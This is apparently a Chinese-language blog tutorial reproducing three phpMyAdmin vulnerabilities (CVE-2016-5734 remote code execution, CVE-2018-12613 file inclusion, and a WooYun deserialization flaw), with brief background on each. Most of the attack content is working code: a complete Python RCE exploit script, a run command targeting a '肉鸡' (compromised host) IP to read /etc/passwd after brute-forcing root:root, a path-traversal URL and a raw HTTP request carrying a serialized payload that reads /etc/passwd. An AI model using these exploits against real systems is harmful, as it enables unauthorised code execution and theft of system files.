0x00 CVE-2016-5734(远程代码执行)
1、介绍
CVE-2016-5734在exploit-db上也就是 phpMyAdmin 4.6.2 - Authenticated Remote Code Execution ,意即phpMyAdmin认证用户的远程代码执行,根据描述可知受影响的phpMyAdmin所有的 4.6.x 版本(直至 4.6.3),4.4.x 版本(直至 4.4.15.7),和 4.0.x 版本(直至 4.0.10.16)。 CVE的作者利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行.
————————————————
https://blog.csdn.net/weixin_41924764/article/details/113063083
2、影响版本
- phpmyadmin 4.6.x 版本(直至 4.6.3)
- phpmyadmin 4.4.x 版本(直至 4.4.15.7)
- phpmyadmin 4.0.x 版本(直至 4.0.10.16)
- php版本: 4.3.0 ~5.4.6
3、搭建
4、复现
暴破用户名密码,root:root
调用poc攻击,poc:
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
调用poc命令:
python3 40185.py -u phpmyadmin登录账号 -p "登录密码" http://肉鸡IP:port -c "system('cat /etc/passwd')"
0x01 CVE-2018-12613(phpmyadmin远程文件包含)
1、前置知识
1)远程文件包含
攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。(注:包含的文件会被当成脚本文件来解析)
一句话来说就是:文件包含并不属于漏洞,但是由于对包含进来的文件不可控,导致了文件包含漏洞的产生。
本地文件包含叫做LFI,远程文件包含叫做RFI,默认PHP不开启远程文件包含。
————————————————
https://blog.csdn.net/weixin_45605352/article/details/116446766
2)函数
include:PHP运行到include然后去调用被包含文件执行,如果包含文件不存在则报错,但是会继续往下执行;
require:PHP在运行前,就先去把被包含文件的内容提取出来然后整合成新的PHP一齐执行,如果包含的文件不存在则报错,不会继续执行;
include_once|require_once:如果文件已经被包含一次就不会重复包含。
————————————————
https://blog.csdn.net/weixin_45605352/article/details/116446766
2、漏洞简介
攻击者利用发现服务器上包含文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
3、影响版本
phpMyAdmin 4.8.0 和 4.8.1
4、搭建
5、漏洞复现
直接读文件 /index.php?target=db_sql.php%253f/../../../../etc/passwd
0x02 WooYun-2016-199433(phpmyadmin反序列化)
1、反序列化漏洞
本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
https://blog.csdn.net/weixin_45605352/article/details/116128814
2、影响版本
已知版本为 2.8.0.3
3、搭建
4、复现
本地访问没问题,环境搭建成功(因为没有连接到数据库,我们将得到一个错误。但此漏洞与数据库无关,因此忽略)
抓包,构造exp,注意需要满足两个条件:1. POST请求方法;2. action的传参不为clear:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}